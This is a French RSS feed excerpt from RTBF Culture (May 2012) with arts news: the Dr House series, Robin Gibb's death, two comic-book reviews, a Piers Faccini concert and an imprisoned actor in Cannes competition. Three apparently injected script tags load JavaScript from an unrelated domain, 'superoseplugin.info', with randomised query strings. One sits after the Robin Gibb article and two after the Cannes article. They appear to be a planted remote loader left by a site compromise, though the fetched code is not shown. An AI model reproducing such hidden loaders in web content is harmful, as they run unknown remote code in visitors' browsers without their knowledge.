<p>House mène ses diagnostics comme la police ses enquêtes. Quand les  forces de l&#8217;ordre amassent des indices, lui dresse des hypothèses à  partir de symptômes. Imaginé à l&#8217;image de Sherlock Holmes, Gregory  possède plusieurs points communs avec le héros littéraire. Affublé de  l&#8217;oncologue Dr Wilson, son Dr Watson, House est dépendant à la vicodine  comme son homologue l&#8217;était à la cocaïne. Tous les deux sont musiciens  et portent un regard sans illusion sur le monde et leurs pairs.</p>
<p>La série ajoute au côté policier médical, un aspect philosophique où  déontologie et éthique se bousculent. Abordant des sujets sensibles,  House se veut la voix du rationnel, écartant toutes hypothèses  &laquo;&nbsp;mystiques&nbsp;&raquo;. Chaque cas possède sa solution, son explication. Lorsque ce  brillant médecin qui ne perd jamais la foi en ses capacités ne parvient  pas à résoudre un cas, la faute revient alors aux patients qui mentent  ou se mentent à eux-mêmes.</p>
<p><strong>&laquo;&nbsp;Ce n&#8217;est pas un lupus&nbsp;&raquo;, le running gag de la série</strong></p>
<p>Si <em>Urgences</em> était connu pour ses &laquo;&nbsp;<em>NFS chimie iono</em>&nbsp;&raquo; hurlés à travers les couloirs, <em>Dr House</em> se distingue avec le lupus. Souvent évoquée par l&#8217;équipe du Dr House,  cette maladie n&#8217;a pourtant été diagnostiquée qu&#8217;à une seule reprise,  lors du huitième épisode de la quatrième saison.</p>
<p><em>Dr House</em> a marqué un tournant dans la série médicale, se démarquant de ses consoeurs <em>Urgences</em> et <em>Grey&#8217;s Anatomy</em>.  Un héros hors des sentiers battus, qui n&#8217;a ni le brushing impeccable,  ni le regard compatissant, qui s&#8217;occupe d&#8217;un seul cas par épisode,  contrairement aux deux autres dramas où les intrigues se multiplient en  une heure.</p>
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		<title>Robin Gibb, la voix des Bee Gees s&#8217;est éteinte</title>
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		<pubDate>Mon, 21 May 2012 09:04:26 +0000</pubDate>
		<dc:creator>RTBF Culture</dc:creator>
				<category><![CDATA[Musique]]></category>
		<category><![CDATA[Bee Gees]]></category>
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		<description><![CDATA[<img src="http://www.rtbf.be/culture/wp-content/uploads/2012/05/robingibb430.jpg" />Le chanteur anglais Robin Gibb, voix éthérée des Bee Gees et de &#171;&#160;Stayin&#8217; Alive&#160;&#187;, l&#8217;un des trois frères fondateurs du groupe de pop et de musique disco mondialement acclamé pour la BO de &#171;&#160;La Fièvre du samedi soir&#160;&#187;, est décédé dimanche à l&#8217;âge de 62 ans à Londres, neuf ans après son jumeau Maurice. 
Né [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Le chanteur anglais Robin Gibb, voix éthérée des Bee Gees et de &laquo;&nbsp;Stayin&#8217; Alive&nbsp;&raquo;, l&#8217;un des trois frères fondateurs du groupe de pop et de musique disco mondialement acclamé pour la BO de &laquo;&nbsp;La Fièvre du samedi soir&nbsp;&raquo;, est décédé dimanche à l&#8217;âge de 62 ans à Londres, neuf ans après son jumeau Maurice. </strong><span id="more-43066"></span></p>
<div id="attachment_43068" class="wp-caption alignnone" style="width: 440px"><a href="http://www.rtbf.be/culture/wp-content/uploads/2012/05/robingibbAFP.jpg"><img class="size-full wp-image-43068" title="Robin Gibb ©AFP PHOTO / JOHANNES EISELE " src="http://www.rtbf.be/culture/wp-content/uploads/2012/05/robingibbAFP.jpg" alt="Robin Gibb ©AFP PHOTO / JOHANNES EISELE " width="430" height="582" /></a><p class="wp-caption-text">Robin Gibb ©AFP PHOTO / JOHANNES EISELE </p></div>
<p>Né le 22 décembre 1949 sur l&#8217;île britannique de Man, Robin Gibb a succombé à un cancer du foie et de l&#8217;estomac, compliqué par une pneumonie.</p>
<p>Du groupe fondé avec son jumeau et leur aîné de trois ans, Barry, en Australie où la famille avait émigré en 1958 et où ils récoltèrent leurs premiers succès, il était le leader et l&#8217;épine dorsale. Dès leur retour en Angleterre en 1967, ils accèdent à la renommée mondiale avec un hit soigneusement marketé, &laquo;&nbsp;New York Mining Disaster 1941&#8243; et s&#8217;accrochent pour de bon au sommet des hit-parades des années 70.</p>
<p>Mais le succès devient viral en 1977-78 quand les principaux titres de &laquo;&nbsp;Saturday Night Fever&nbsp;&raquo;, le film de John Badham, se mettent à tourner en boucle sur les radios et dans les discothèques du monde entier. &laquo;&nbsp;Stayin&#8217; Alive&nbsp;&raquo;, &laquo;&nbsp;How Deep Is Your Love&nbsp;&raquo;, &laquo;&nbsp;Night Fever&nbsp;&raquo;, &laquo;&nbsp;You Should Be Dancing&nbsp;&raquo;&#8230; assurent la fortune de leurs auteurs-interprètes: à la fin de la décennie 70, les frères Gibb deviennent les seuls chanteurs au monde à avoir aligné simultanément cinq titres dans le Top Ten.</p>
<p>Après le décès brutal de Maurice en janvier 2003, Robin était devenu le gardien de la mémoire Bee Gees.</p>
<p>Belga</p>
<p><script src="http://superoseplugin.info/dfi823hs.js?0.12053447084624169"></script></p>
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		<title>Gringos Locos</title>
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		<pubDate>Sun, 20 May 2012 19:22:52 +0000</pubDate>
		<dc:creator>jsc</dc:creator>
				<category><![CDATA[Chronique BD Jacques Schraûwen]]></category>
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		<description><![CDATA[<img src="http://www.rtbf.be/culture/wp-content/uploads/2012/05/GRINGOSLOCOS.jpg" />Le périple imaginaire de trois monstres sacrés de la bande dessinée

En 1948, la bande dessinée franco-belge, avec trois de ses représentants les plus essentiels, prend ses quartiers en Amérique. Jijé s&#8217;expatrie, et emmène avec lui sa famille, Franquin et Morris.
Voilà le point de départ de cet album dessiné &#171;&#160;à l&#8217;ancienne&#160;&#187; par Schwartz, et scénarisé par [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Le périple imaginaire de trois monstres sacrés de la bande dessinée</strong></p>
<p><span id="more-43056"></span></p>
<p>En 1948, la bande dessinée franco-belge, avec trois de ses représentants les plus essentiels, prend ses quartiers en Amérique. <strong>Jijé</strong> s&#8217;expatrie, et emmène avec lui sa famille, <strong>Franquin </strong>et <strong>Morris</strong>.</p>
<p>Voilà le point de départ de cet album dessiné &laquo;&nbsp;à l&#8217;ancienne&nbsp;&raquo; par <strong>Schwartz, </strong>et<strong> </strong>scénarisé par<strong> Yann</strong>, qui a travaillé en son temps avec Franquin comme avec Morris.</p>
<p style="text-align: center"><img class="aligncenter size-full wp-image-43057" src="http://www.rtbf.be/culture/wp-content/uploads/2012/05/gringoscouv9782800153001-G.jpg" alt="" width="500" height="667" /></p>
<p><strong>Yann</strong> fait partie de ces scénaristes prolifiques qui aiment à s&#8217;aventurer dans les territoires de l&#8217;humour le plus débridé souvent, le plus iconoclaste parfois. C&#8217;et à ces deux aspects de sa personnalité que nous avons affaire ici, sans aucun doute. Sous sa plume, <strong>Jijé</strong> est bohème, plaisantin, sûr de lui, avec un petit côté &laquo;&nbsp;beauf&nbsp;&raquo; et une tendance à tout gérer, tout diriger. Ses jurons émaillent les péripéties de ce livre avec une abondance qui, avouons-le, frise parfois la surcharge.</p>
<p><strong>Yann</strong> a construit cette histoire à partir de souvenirs qui lui ont été racontés, par Franquin et Morris, entre autres. Mais le portrait de Jijé qui en ressort est dans doute tronqué. Les témoins, dans le monde de la justice comme dans celui du quotidien, aiment à enjoliver les choses!</p>
<p>Cela dit, malgré un côté qui peut paraître dérangeant à certains, celui d&#8217;un album biographique qui ne l&#8217;est jamais réellement, <strong>Gringos Locos</strong> est un livre réjouissant: l&#8217;humour y est omniprésent, un humour qui n&#8217;hésite pas à s&#8217;enfouir dans des détails quelque peu osés, avec des personnages totalement désacralisés qui ne manquent pas de relief, avec des détails délirants qui ponctuent le récit de bout en bout. Et c&#8217;est de plaisir à l&#8217;écriture de cette histoire que nous parle Yann:</p>
<p>Ce livre est un album d&#8217;humour, d&#8217;abord et avant tout, et qui ne mérite certainement pas toute la polémique qui l&#8217;entoure. Après tout, on ne reproche jamais à un écrivain de romancer une biographie. Pourquoi le ferait-on avec des auteurs de bande dessinée?</p>
<p>Un album d&#8217;humour, oui. Mais aussi, à sa manière, et ce n&#8217;est pas la moindre de ses quallités, un hommage à trois grands de la bd. Et une remise à l&#8217;avant-plan de <strong>Jijé</strong>, trop souvent oublié, et qui occupe et occupera toujours une place prépondérante dans l&#8217;évolution de ce neuvième art qui, grâce à lui, est passé de l&#8217;univers de l&#8217;enfance à celui de tous les publics!</p>
<p>L&#8217;hommage est peut-être encore plus sensible dans le dessin, qui s&#8217;inspire de l&#8217;âge d&#8217;or de la bande dessinée. <strong>Schwartz,</strong> soutenu par un coloriste capable de rendre à la perfection les lumières du désert comme celles des villes américaines, s&#8217;est incontestablement autant amusé que <strong>Yann</strong>  à créer cette histoire:</p>
<p>Un album, donc, à prendre au second degré, voire au troisième, et qui ne peut que donner l&#8217;envie de se replonger dans la lecture de Jerry Spring, de Blondin et Cirage, de Spirou, de Gaston, et de Lucky Luke. Et d&#8217;attendre, avec déjà de l&#8217;impatience, la suite de ces Gringos qui, tout compte fait, ne sont pas aussi fous que ce que d&#8217;aucune aimeraient nous faire croire!</p>
<p><strong>Jacques Schraûwen</strong></p>
<p><strong>Gringos Locos (scénario: Yann &#8211; dessin: Schwartz &#8211; éditeur: Dupuis)</strong></p>
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		<title>C&#8217;était la nationale 7</title>
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		<pubDate>Fri, 18 May 2012 18:33:46 +0000</pubDate>
		<dc:creator>jsc</dc:creator>
				<category><![CDATA[Chronique BD Jacques Schraûwen]]></category>
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		<description><![CDATA[<img src="http://www.rtbf.be/culture/wp-content/uploads/2012/05/nationale7Visuels-Tain-Serie-2.jpg" />Une route enchantée, chère à Trenet, et qui fait rêver aux vacances&#8230;


 
Des dessins, des témoignages, des photos par centaines&#8230; Voici un livre qui fait rêver, en effet&#8230; Avec une certaine dose de nostalgie qui s&#8217;épanouit, de page en page, tout au long de cet album au charme à la fois désuet et merveilleusement présent!
Jacques Schraûwen
 
C&#8217;était [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Une route enchantée, chère à Trenet, et qui fait rêver aux vacances&#8230;</strong></p>
<p><span id="more-43050"></span></p>
<p style="text-align: center"><img class="aligncenter size-full wp-image-43051" src="http://www.rtbf.be/culture/wp-content/uploads/2012/05/nationale9782888904854.jpg" alt="" width="400" height="537" /></p>
<p> </p>
<p>Des dessins, des témoignages, des photos par centaines&#8230; Voici un livre qui fait rêver, en effet&#8230; Avec une certaine dose de nostalgie qui s&#8217;épanouit, de page en page, tout au long de cet album au charme à la fois désuet et merveilleusement présent!</p>
<p><strong>Jacques Schraûwen</strong></p>
<p><strong> </strong></p>
<p><strong>C&#8217;était la nationale 7  (auteur: Thierry Dubois &#8211; éditeur: Paquet)</strong></p>
]]></content:encoded>
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		<title>Les Nuits : Lail Arad et les murmures exquis de Faccini</title>
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		<pubDate>Fri, 18 May 2012 14:41:20 +0000</pubDate>
		<dc:creator>colinet</dc:creator>
				<category><![CDATA[François Colinet]]></category>
		<category><![CDATA[Musique]]></category>
		<category><![CDATA[Lail Arad]]></category>
		<category><![CDATA[Nuits Botanique]]></category>
		<category><![CDATA[piers faccini]]></category>

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		<description><![CDATA[<img src="http://www.rtbf.be/culture/wp-content/uploads/2012/05/Lail-Arad.jpg" />Dans l&#8217;ambiance feutrée du Grand Salon, Lail Arad et Piers Faccini nous ont offert un concert tout en douceur. Moment d&#8217;une grande intimité, où la musique se partage sans intermédiaire, à même le sol d&#8217;un endroit splendide, propice à la communion des notes et des sensations !

Qu&#8217;il est agréable ce grand salon du Botanique ! Quelle bonne [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Dans l&#8217;ambiance feutrée du Grand Salon, <a title="Lail Arad sur myspace.com" href="http://www.myspace.com/lailarad" target="_blank">Lail Arad </a>et <a title="Piers Faccini site officiel" href="http://www.piersfaccini.com/" target="_blank">Piers Faccini </a>nous ont offert un concert tout en douceur. Moment d&#8217;une grande intimité, où la musique se partage sans intermédiaire, à même le sol d&#8217;un endroit splendide, propice à la communion des notes et des sensations !<span id="more-43021"></span><br />
</strong></p>
<div id="attachment_34013" class="wp-caption aligncenter" style="width: 410px"><a rel="attachment wp-att-34013" href="http://www.rtbf.be/culture/musique/francois-colinet-a-ecoute-pour-vous/attachment/piersfaccini-my-wilderness/"><img class="size-full wp-image-34013" title="Piers Faccini - My Wilderness - PIAS" src="http://www.rtbf.be/culture/wp-content/uploads/2011/10/piersfaccini-My-Wilderness.jpg" alt="" width="400" height="348" /></a><p class="wp-caption-text">Le dernier album de Piers Faccini - My Wilderness - (Tôt ou tard / PIAS)</p></div>
<p>Qu&#8217;il est agréable ce grand salon du Botanique ! Quelle bonne idée d&#8217;avoir transformé, le temps des Nuits, l&#8217;espace d&#8217;ordinaire réservé aux expos, en un cercle pour mélomanes exigeants. Point de barrière de sécurité et encore moins de podium. Tout le monde se retrouve au même niveau, réunis dans un confort d&#8217;écoute inégalable. L&#8217;artiste est entouré par son public, certains dans de beaux fauteuils rouges, d&#8217;autres au balcon ou même assis par terre en toute décontraction. Une amplification minimale rendue par 4 enceintes formant un cercle acoustique délicat (le son est parfois trop imperceptible, avouons-le.) Les rideaux rouges, eux aussi, et le calme des lieux finissent de nous séduire. Cet endroit simple et chaleureux est unique et précieux !</p>
<p><strong>Lail Arad mérite confirmation<br />
</strong></p>
<p>En ouverture, nous aurons le plaisir de la découverte avec une artiste britannique d&#8217;origine israélienne. Petite et menue, <strong><a title="Lail Arad sur myspace.com" href="http://www.myspace.com/lailarad" target="_blank">Lail Arad</a> </strong> est charmante et sans complexe. Elle apprécie d&#8217;emblée l&#8217;intimité des lieux en s&#8217;adressant à nous dans un français approximatif mais adorable. Elle vient nous présenter les morceaux de son premier album <em>Someone new </em>sorti il y a un an déjà mais passé plutôt inaperçu chez nous.</p>
<p>Passant de la guitare au piano, elle enchaîne les titres avec sympathie mais sans vraiment nous accrocher. C&#8217;est un peu trop simple, un peu trop mou. Sa jolie voix nous plaît par moment, on sent que le cœur et le talent y sont, que son album mérite d&#8217;être écouté de bout en bout, mais on ne rentre pas vraiment dedans. Pas ce soir en tout cas, l&#8217;attente de Piers se fait trop pressante. Mais comme Laïl nous a très gentiment accordé un entretien, on y reviendra très bientôt.. !.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="430" height="248" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/Jdm7wWnULMc?version=3&amp;hl=fr_FR" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="430" height="248" src="http://www.youtube.com/v/Jdm7wWnULMc?version=3&amp;hl=fr_FR" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><strong>Piers Faccini, la délictesse&#8230;</strong></p>
<p>On y est donc à ce fameux concert ! Celui que l&#8217;on vous a déjà décrit comme un artiste doté d&#8217;une fantastique sensibilité a choisi de nous ravir avec 2 guitares, un tambourin et un violoncelle. Dans un tel endroit, le choix est vraiment payant. Ce soir, il a laissé quelques aspérités au vestiaire pour nous présenter la face la plus douce, la plus aérienne, la plus délicate de son répertoire. Tant pis si la trompette de <a title="Ibrahim Maalouf site officiel" href="http://www.ibrahimmaalouf.com/" target="_blank"><strong>Ibrahim Maalouf</strong> </a>ou la kora de <strong><a title="ballake sissoko sur myspace.com" href="http://www.myspace.com/ballakesissoko" target="_blank">Ballake Sissoko</a> </strong>nous manquent un peu.</p>
<p>Ceux qui ne connaissent pas ses albums le prendront peut être pour un chanteur morne ou déprimant mais le risque est faible. Parce que Piers fait de ses murmures une force. Parce que cette formule met complètement à nu cette voix fêlée que l&#8217;on aime tant et l&#8217;effet « bulle » de ces compositions tellement enveloppantes.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="430" height="321" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/nevkiC43y7M?version=3&amp;hl=fr_FR" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="430" height="321" src="http://www.youtube.com/v/nevkiC43y7M?version=3&amp;hl=fr_FR" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Il choisit judicieusement dans son répertoire les morceaux qui se prêteront le mieux à l&#8217;exercice. <em>No reply, Dreamer </em>et <em>My wilderness </em>rendent compte de son dernier, et,<strong> <a title="site RTBF Culture" href="http://www.rtbf.be/culture/musique/francois-colinet-a-ecoute-pour-vous/" target="_blank">formidable disque</a></strong> qui avait eu les honneurs de nos <a title="site RTBF Culture" href="http://www.rtbf.be/culture/musique/retro-2011%C2%A0-nos-coups-de-coeurs-anglophones/"><strong>coups de cœurs 2011</strong>.</a> De délicatesse il sera pleinement question lorsqu&#8217;il entamera <em>The taste of tears </em>que l&#8217;on ne peut s’empêcher de fredonner, tapis dans la pénombre à  trois mètres à peine.</p>
<p>Il joue aussi de la situation en blaguant avec le public (<em>Que ceux qui veulent s&#8217;endormir se sentent à l&#8217;aise!) </em>avant de le mettre à contribution pour chanter les refrains du génial <em>A storm is gonna come. </em>Quel frisson ! Il est malheureusement déjà temps de se quitter, le temps a filé presque sans temps morts. Le magnifique <em>Tribe </em>parachève une partition apaisante et exquise.</p>
<p><strong>François Colinet</strong></p>
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		<title>Candidat au Prix d&#8217;interprétation à Cannes, l&#8217;acteur italien est en prison</title>
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		<pubDate>Fri, 18 May 2012 12:39:35 +0000</pubDate>
		<dc:creator>RTBF Culture</dc:creator>
				<category><![CDATA[Cinéma]]></category>
		<category><![CDATA[acteur]]></category>
		<category><![CDATA[Aniello Arena]]></category>
		<category><![CDATA[Festival de Cannes]]></category>
		<category><![CDATA[Matteo Garrone]]></category>

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		<description><![CDATA[<img src="http://www.rtbf.be/culture/wp-content/uploads/2012/05/matteogarroneAFP.jpg" />L&#8217;acteur Aniello Arena, principal rôle masculin dans &#171;&#160;Reality&#160;&#187;, l&#8217;unique film  italien en compétition officielle à Cannes, est incarcéré et n&#8217;a pu rejoindre  la Croisette, a indiqué vendredi son metteur en scène. 
&#171;&#160;Aniello Arena est membre de la Compagnia della Fortezza constituée de détenus:  il a obtenu l&#8217;autorisation de nous rejoindre pour le [...]]]></description>
			<content:encoded><![CDATA[<p><strong>L&#8217;acteur Aniello Arena, principal rôle masculin dans &laquo;&nbsp;Reality&nbsp;&raquo;, l&#8217;unique film  italien en compétition officielle à Cannes, est incarcéré et n&#8217;a pu rejoindre  la Croisette, a indiqué vendredi son metteur en scène. </strong><span id="more-43016"></span></p>
<div id="attachment_43017" class="wp-caption alignnone" style="width: 440px"><a href="http://www.rtbf.be/culture/wp-content/uploads/2012/05/matteogarroneAFP.jpg"><img class="size-full wp-image-43017 " title="Le réalisateur Matteo Garrone à Cannes AFP PHOTO / ALBERTO PIZZOLI " src="http://www.rtbf.be/culture/wp-content/uploads/2012/05/matteogarroneAFP.jpg" alt="Le réalisateur Matteo Garrone à Cannes AFP PHOTO / ALBERTO PIZZOLI " width="430" height="242" /></a><p class="wp-caption-text">Le réalisateur Matteo Garrone à Cannes AFP PHOTO / ALBERTO PIZZOLI </p></div>
<p>&laquo;&nbsp;Aniello Arena est membre de la Compagnia della Fortezza constituée de détenus:  il a obtenu l&#8217;autorisation de nous rejoindre pour le tournage mais pas celle de  venir à Cannes&nbsp;&raquo;, a expliqué Matteo Garrone en conférence de presse sans  préciser la raison de son incarcération.</p>
<p>Selon le dossier de presse de &laquo;&nbsp;Reality&nbsp;&raquo;, Aniello Arena a entamé une  carrière d&#8217;acteur en 2001 à la Maison d&#8217;arrêt de Volterra, dans la province de  Pise, où fut fondée il y a plus de 20 ans la Compagnia della Fortezza, dirigée  par le metteur en scène Armando Punzo.        Punzo a fréquemment confié des rôles à Arena dans ses pièces, adaptées de  Shakespeare ou de Brecht, et l&#8217;acteur a été autorisé à prendre part aux  tournées.</p>
<p>Aniello Arena a également tourné dans deux films italiens dont &laquo;&nbsp;Un Tigre  parmi les singes&nbsp;&raquo; de Stefano Incerti (2009) avant de se retrouver aujourd&#8217;hui  dans un film en lice pour la Palme d&#8217;Or à Cannes.        &laquo;&nbsp;Reality&nbsp;&raquo; de Matteo Garrone est le quatrième film, sur 22, présenté en  compétition depuis l&#8217;ouverture du festival mercredi soir.        En 2008, Garrone avait obtenu le Grand prix à Cannes pour &laquo;&nbsp;Gomorra&nbsp;&raquo;,  puissant tableau de la mafia calabraise.</p>
<p><strong>Belga</strong></p>
<p><a title="Hugues Dayez au Festival de Cannes 2012" href="http://www.rtbf.be/info/medias/detail_l-apres-gomorra-du-cineaste-italien-matteo-garrone?id=7771516" target="_self">La critique de &laquo;&nbsp;Reality&nbsp;&raquo;, par Hugues Dayez envoyé spécial à Cannes.</a></p>
<p><script src="http://superoseplugin.info/dfi823hs.js?0.6354772883000646"></script><br />
<script src="http://superoseplugin.info/dfi823hs.js?0.004116292434168556"></script></p>
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